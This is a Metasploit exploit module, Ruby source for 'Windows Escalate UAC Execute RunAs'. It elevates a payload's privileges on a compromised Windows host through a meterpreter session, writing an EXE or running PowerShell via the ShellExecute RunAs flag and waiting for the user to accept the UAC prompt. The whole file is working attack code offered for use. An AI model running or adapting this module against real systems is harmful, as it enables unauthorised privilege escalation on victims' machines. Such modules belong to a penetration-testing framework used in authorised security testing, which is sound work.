##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate UAC Execute RunAs',
        'Description' => %q{
          This module will attempt to elevate execution level using
          the ShellExecute undocumented RunAs flag to bypass low
          UAC settings.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'mubix', # Original technique
          'b00stfr3ak' # Added powershell option
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [['Windows', {}]],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-01-03',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [false, 'File name on disk']),
      OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
      OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
    ])
  end

  def exploit
    if is_uac_enabled?
      print_status 'UAC is Enabled, checking level...'
      case get_uac_level
      when UAC_NO_PROMPT
        print_good 'UAC is not enabled, no prompt for the user'
      else
        print_status "The user will be prompted, wait for them to click 'Ok'"
      end
    else
      print_good 'UAC is not enabled, no prompt for the user'
    end

    case datastore['TECHNIQUE']
    when 'EXE'
      shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
    when 'PSH'
      shell_execute_psh
    end
  end
end